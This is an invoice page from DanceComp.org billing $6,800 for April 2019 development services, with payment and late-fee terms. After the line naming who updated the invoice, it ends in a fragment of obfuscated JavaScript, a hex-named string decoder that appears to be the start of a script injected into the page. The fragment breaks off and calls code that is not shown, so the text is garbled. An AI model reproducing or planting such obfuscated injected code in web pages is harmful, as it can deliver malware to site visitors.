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DanceComp.org 2655 N. Airport Rd. #62186
Fort Myers, FL 33907
US
Date
2019-05-03
Invoice Number
DCO19-81-15
Invoice Due
2019-05-17
Invoice Total
$6,800.00
Balance
$6,800.00
  1. Task
    Rate
    Qty
    %
    Amount

    Monthly installation for DEVELOPMENT SERVICES (April 2019)

    $6,800
    1
    0%
    $6,800
Subtotal $6,800.00
Total $6,800.00

These payment options will include a service fee:
or 3% with a Credit Card or Bank Payment.

Payment Pending

Notes

Thank you; we really appreciate your business.

Terms

We do expect payment within 30 days, so please process this invoice within that time. There will be a 5% interest charge per month on late invoices.

Updated
2019-05-03 @ 3:08 pm

Invoice updated by Chest Rockwell. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}